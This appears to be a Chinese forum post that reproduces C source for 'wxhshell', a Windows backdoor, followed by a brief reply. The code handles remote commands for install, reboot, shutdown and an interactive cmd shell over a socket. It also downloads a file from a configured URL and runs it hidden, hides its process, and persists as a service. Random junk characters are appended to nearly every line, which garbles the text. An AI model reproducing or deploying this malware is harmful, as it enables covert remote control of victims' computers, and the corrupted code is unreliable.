  if(DownloadFile(cmd,wsh)) JGPLVw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >=hO jV;  
  else YV*s1 t/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -f0Nb+AR  
  } ]!J 6S.@#+  
  else { 27*u^N*z@  
jw$3cwddH  
    switch(cmd[0]) { 4C^;lK  
  P"0S94o:5J  
  // 帮助 V,bfD3S3  
  case '?': { THirh6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wZVY h  
    break; P0J3ci}^  
  } HlqvXt\  
  // 安装 Ktg{-Xl  
  case 'i': { I0 a,mO;m  
    if(Install()) v8"plx=3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \P]w^  
    else Ev;HV}G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M:|Z3p K  
    break; H8~<;6W  
    } J#B% #X  
  // 卸载 {S(d5o8  
  case 'r': { >TUs~  
    if(Uninstall()) c 6sGjZdR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zyTP|SXk  
    else pN/)$6=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M}NmA  
    break; &~U!X~PpB  
    } !%x8!;za  
  // 显示 wxhshell 所在路径 )W)m?%  
  case 'p': { UKp- *YukT  
    char svExeFile[MAX_PATH]; {]plT~{e  
    strcpy(svExeFile,"\n\r"); zCKZv|j6  
      strcat(svExeFile,ExeFile); {J q[N}  
        send(wsh,svExeFile,strlen(svExeFile),0); T;jp2 #  
    break; 3DnlXH(h1  
    } 9^h\vR|]S  
  // 重启 mD-qJ6AM  
  case 'b': { iph>"b$D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Pk[:+. f(  
    if(Boot(REBOOT)) vJDK]p<}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); obRR))  
    else { *]~ug%a  
    closesocket(wsh); tVd\r"0k  
    ExitThread(0); 2yR*<yj  
    } + 8 5]]}I  
    break; 2<wuzP|  
    } -}0S%|#m  
  // 关机 ?ix--?jl  
  case 'd': {  sBY*9I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tWQ_.,ld  
    if(Boot(SHUTDOWN)) ;>_\oZGj_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cVJ"^wgBt  
    else { V0 x[sEW  
    closesocket(wsh); {~>?%]tf  
    ExitThread(0); kA?a}   
    } Yu-e |:  
    break; #+HLb  
    } Q[_{:DJA  
  // 获取shell OiNzN.}d  
  case 's': { _x 'R8/  
    CmdShell(wsh); sfi.zu G  
    closesocket(wsh); <m9hM?^q  
    ExitThread(0); xy$73K6  
    break; b'Qia'a%  
  } | 2BIAm]  
  // 退出 q%TWtQS  
  case 'x': { TSqfl/UI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .MkHB0 2N  
    CloseIt(wsh); ?>5[~rMn  
    break; GqumH/;  
    } i`/_^Fndyu  
  // 离开 q\ FF)H  
  case 'q': { ES!$JWK|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PE3FuJGz  
    closesocket(wsh); Mg;%];2Nt  
    WSACleanup(); $Z6g/bD`E  
    exit(1); mZ 39 s  
    break; dt(~)*~R  
        } ia 1Sf3  
  } lY/{X]T.(  
  } 0xrr9X<  
QQUeY2}  
  // 提示信息 =; Gw=m(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gm;)Om_  
} Aifc0P-H  
  } \Km!#:  
e5KsKzu a  
  return; 3ny>5A!;2  
} }S51yDVG_  
tFt56/4  
// shell模块句柄 bVmHUcR0  
int CmdShell(SOCKET sock) ZC 7R f  
{ ~Q"3#4l  
STARTUPINFO si; ^;jJVYx-PP  
ZeroMemory(&si,sizeof(si)); ^T@ (`H4@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bh|M]*Pq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s.I%[kada  
PROCESS_INFORMATION ProcessInfo; eznt "Rr2  
char cmdline[]="cmd"; O*{<{3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Pe6}y  
  return 0; \7PPFKS  
} Q\Dx/?g!vx  
r!SMF ]?SJ  
// 自身启动模式 D+ mZ7&L  
int StartFromService(void) 2g~qVT,  
{ RUqN,C,m5I  
typedef struct aTS\NpK&  
{ XWN ra  
  DWORD ExitStatus; wBZ=IMDu\  
  DWORD PebBaseAddress; P8!ON=  
  DWORD AffinityMask; Ix@rn  
  DWORD BasePriority; /5A um ?~  
  ULONG UniqueProcessId; {Q],rv|;  
  ULONG InheritedFromUniqueProcessId; FY_.Vp  
}   PROCESS_BASIC_INFORMATION; d%_=r." Y  
[ZC]O2'  
PROCNTQSIP NtQueryInformationProcess; ir/m. ~?  
-F=?M+9[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )!.ef6|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rD=8O#m g  
WLl_;BgN  
  HANDLE             hProcess; }5c%v1  
  PROCESS_BASIC_INFORMATION pbi; i!g}PbC[  
r09gB#K4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `G*7y7  
  if(NULL == hInst ) return 0; zQ3m@x  
+GCN63 nX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {hQ0=rv<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S :)Aj6>6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |,3s]b`  
n^aSio6  
  if (!NtQueryInformationProcess) return 0; U-Ia$b-5!  
VP0q?lh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q#"p6ZmI  
  if(!hProcess) return 0; wZ6D\I  
rk$&sDc/3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9A_{*E(wd  
&*2\1;1tB  
  CloseHandle(hProcess); {gh41G;n  
2gM=vaiH=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _8t5rF  
if(hProcess==NULL) return 0; @>`+eg][?P  
<vMna< /d  
HMODULE hMod; K$v SdpC  
char procName[255]; rEz-\jLD~  
unsigned long cbNeeded; +8qtFog$\g  
iV9wqUkMv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'a.n  
%Aaf86pkp  
  CloseHandle(hProcess); ;fomc<  
A!Em J  
if(strstr(procName,"services")) return 1; // 以服务启动 j"(o>b v7  
9R_2>BDn  
  return 0; // 注册表启动 9/A$ 3#wF  
} 5=/&[=  
F6>K FU8  
// 主模块 2iOn\ ^]x  
int StartWxhshell(LPSTR lpCmdLine) vHR-mQUs  
{ VB>KT(n-b  
  SOCKET wsl; l e+6;'Q  
BOOL val=TRUE; dRw O t  
  int port=0; @z $,KUH  
  struct sockaddr_in door; GX2aV6}  
48%-lkol)  
  if(wscfg.ws_autoins) Install(); WgHl. :R  
m$N` Xj  
port=atoi(lpCmdLine); m(0sG(A~  
4I7B #{  
if(port<=0) port=wscfg.ws_port; \s_lB~"P!3  
rJLn=|uR  
  WSADATA data; F`!B!uY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J|*Z*m  
-s~6FrKy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (Hk4~v6pqC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); % mP%W<  
  door.sin_family = AF_INET; e^v5ai  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UN ;9h9  
  door.sin_port = htons(port); 6P,vGmR  
]U[y3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pjz_KO/  
closesocket(wsl); a=ye!CN^  
return 1; ^gw htnI  
} [6 d~q]KH  
^RL#(O  
  if(listen(wsl,2) == INVALID_SOCKET) { k^<s|8Y  
closesocket(wsl); TUE*mDRmP  
return 1; }f rij1/G  
} pypW  
  Wxhshell(wsl); gut[q  
  WSACleanup(); DI9hy/T(  
-,xCUG<g  
return 0; :Y? L*  
;8F|Q<`pV  
} EY~b,MIL4  
4%!#=JCl  
// 以NT服务方式启动 (<M^C>pldf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?yAp&Ad  
{ Q 6>7{\8l  
DWORD   status = 0; #Z;6f{yWf  
  DWORD   specificError = 0xfffffff; nsT]Yxo%M  
6yDj1PI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g%C!)UbT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K4T#8K]aZF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $}&r.=J".  
  serviceStatus.dwWin32ExitCode     = 0; cnJL*{H<2  
  serviceStatus.dwServiceSpecificExitCode = 0; ~\vGwy  
  serviceStatus.dwCheckPoint       = 0; V[9#+l~#  
  serviceStatus.dwWaitHint       = 0; 0[A4k:  
1 zo0/<dk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^O>G?a  
  if (hServiceStatusHandle==0) return; Th!.=S{Y5  
4Cd#S9<ed  
status = GetLastError(); M.DU^-7  
  if (status!=NO_ERROR) !T+jb\O_  
{ c L+-- $L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Mn)>G36(  
    serviceStatus.dwCheckPoint       = 0; Oup5LH!sW  
    serviceStatus.dwWaitHint       = 0; iJ8 5okv'  
    serviceStatus.dwWin32ExitCode     = status; 8PN/*Sa  
    serviceStatus.dwServiceSpecificExitCode = specificError; LwPZRE#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fj 14'T  
    return; _:R Q9x'  
  } gK&MdF*  
,(1n(FZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !yUn|v>&p  
  serviceStatus.dwCheckPoint       = 0; ` u|8WK:  
  serviceStatus.dwWaitHint       = 0; B: '}SA{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6CQ.>M:R  
} $5(_U  
"o| f  
// 处理NT服务事件,比如:启动、停止 w@K4u{|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W|~Jl7hs8Q  
{ #=}dv8  
switch(fdwControl) 4blw9x N  
{ It5U=PU  
case SERVICE_CONTROL_STOP: M lv  
  serviceStatus.dwWin32ExitCode = 0; iTX:*$~I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1\'?.  
  serviceStatus.dwCheckPoint   = 0; R1!F mZW8  
  serviceStatus.dwWaitHint     = 0; C]X:@^Hy  
  { ^A&i$RRO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jwP}{mi*  
  } ;q=0NtCS=4  
  return; ^[UWG^d  
case SERVICE_CONTROL_PAUSE: {|R@\G.1(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m7dpr$J  
  break; ,^Cl?\9"  
case SERVICE_CONTROL_CONTINUE: +2DzX/3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^Vbx9UN/  
  break; !b !C+ \v  
case SERVICE_CONTROL_INTERROGATE: |iGfX,C|  
  break; xgdS]Sz  
}; i146@<\G{P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L9lNAiOH  
} qVHXZdGL  
)+Nm @+B  
// 标准应用程序主函数 ?MW *`U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9+z5 $  
{ S]Y3nI  
TT85G&#  
// 获取操作系统版本 %VV\biO]  
OsIsNt=GetOsVer(); rNi]|)-ET  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4$5d*7  
t:NYsL  
  // 从命令行安装 tQ,,krw~  
  if(strpbrk(lpCmdLine,"iI")) Install(); kiah,7V/  
z;c~(o@4  
  // 下载执行文件 7o+JQ&fF;  
if(wscfg.ws_downexe) { ;~A-32;Y4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fwu:x.(  
  WinExec(wscfg.ws_filenam,SW_HIDE); iRbTH}4i  
} fbl8:c)I  
qI]PM9  
if(!OsIsNt) { uG5RE  
// 如果时win9x,隐藏进程并且设置为注册表启动 &-S;.}  
HideProc(); ]+U:8*  
StartWxhshell(lpCmdLine); )A@ }mIs"  
} Ok0zgi  
else NmH1*w<A  
  if(StartFromService()) .C 6wsmQ  
  // 以服务方式启动 @Cnn8Y&'  
  StartServiceCtrlDispatcher(DispatchTable); {OH @z!+d  
else !Q/%N#  
  // 普通方式启动 pBZf=!+E  
  StartWxhshell(lpCmdLine); 2qA"emUM  
+t9$*i9`L  
return 0; Czl4^STiC  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八